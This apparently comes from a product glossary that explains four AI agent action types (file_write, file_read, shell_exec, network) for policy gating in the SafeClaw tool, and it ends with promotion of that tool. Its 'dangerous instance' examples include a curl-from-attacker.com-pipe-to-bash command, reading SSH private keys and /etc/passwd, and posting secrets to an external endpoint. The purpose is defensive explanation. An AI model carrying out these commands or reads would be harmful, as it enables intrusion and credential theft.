AI Agent Action Types

AI agent action types are the categories of operations an autonomous agent can perform on its environment — principally file_write, file_read, shell_exec, and network — each representing a distinct class of risk that requires independent evaluation and control.

In Detail

An AI agent interacts with the world through discrete actions. Unlike a chatbot, which only produces text responses, an agent has the ability to modify files, execute commands, and communicate over the network. Each of these capabilities is a vector through which an agent can cause harm if unconstrained.

Classifying actions into types is the foundation of action-level gating. By categorizing an action, the policy engine can apply type-specific rules. A policy might permit all file reads but deny all shell executions, or allow network requests to internal services while blocking external ones. Without action type classification, policies would need to reason about every action as an undifferentiated blob.

file_write

A file_write action creates or modifies a file on the file system.

Risk. File writes can overwrite source code, corrupt data, inject malicious content, modify configuration files, or alter deployment scripts. A single misplaced write can compromise application integrity.

Safe instance. Writing a new unit test file to ./tests/unit/auth.test.ts.

Dangerous instance. Overwriting .env with modified environment variables that redirect database connections to an attacker-controlled server.

file_read

A file_read action reads the contents of a file from the file system.

Risk. File reads can expose credentials, private keys, personally identifiable information, proprietary source code, or internal documentation. While reads do not modify the system, they can provide an agent with information that enables subsequent harmful actions or data exfiltration.

Safe instance. Reading ./src/utils/format.ts to understand a utility function before modifying it.

Dangerous instance. Reading ~/.ssh/id_rsa to access a private SSH key, or reading /etc/passwd to enumerate system users.

shell_exec

A shell_exec action executes a command in the system shell.

Risk. Shell execution is the most powerful and dangerous action type. An agent with unrestricted shell access can do anything the host user can do: install software, modify system configuration, delete files, spawn processes, and establish network connections. Shell commands can also be chained, piped, and obfuscated, making static analysis difficult.

Safe instance. Running npm test to execute a project's test suite.

Dangerous instance. Running curl https://attacker.com/payload.sh | bash to download and execute a malicious script.

network

A network action initiates an outbound network request — an HTTP call, a WebSocket connection, a DNS lookup, or any other form of network communication.

Risk. Network actions enable data exfiltration (sending sensitive information to external servers), command-and-control communication (receiving instructions from external parties), and lateral movement (accessing internal services that should not be reachable from the agent's context).

Safe instance. Fetching a public npm package manifest from the npm registry during dependency resolution.

Dangerous instance. Sending a POST request containing the contents of ./config/secrets.json to an external endpoint.

Examples

• An AI agent performing a code review reads 12 source files (file_read), runs the linter (shell_exec), and writes a summary to ./review.md (file_write). Each action is evaluated independently against the policy.

• An AI agent tasked with deploying an application reads the deployment config (file_read), runs a build command (shell_exec), pushes to a container registry (network), and updates the deployment manifest (file_write). A policy can permit the build but require approval for the push.

Related Concepts

• Action-Level Gating — The mechanism that evaluates each action type against policy.
• Policy Engine — The component that applies type-specific rules to each action.
• Deny-by-Default — The posture that blocks action types not explicitly permitted.
• First-Match-Wins — The evaluation model that resolves which rule applies to a given action type and target.
• Human-in-the-Loop — The escalation path for action types deemed too risky for automated approval.

In SafeClaw

SafeClaw, by Authensor, recognizes and gates four action types: file_write, file_read, shell_exec, and network. Every action an AI agent attempts is classified into one of these types and evaluated by SafeClaw's local policy engine.

Policy rules in SafeClaw can target specific action types or apply across types. For example, a rule can permit file_read on ./src/** while a separate rule denies file_write to the same paths. Rules can also combine action type with target patterns, command strings, or domain allowlists for fine-grained control.

SafeClaw works with Claude, OpenAI, and LangChain agents, evaluating all four action types with sub-millisecond latency and zero third-party dependencies. The 100% open source client (MIT license) can be installed with npx @authensor/safeclaw. Every action evaluation is logged in SafeClaw's tamper-proof SHA-256 hash chain audit trail.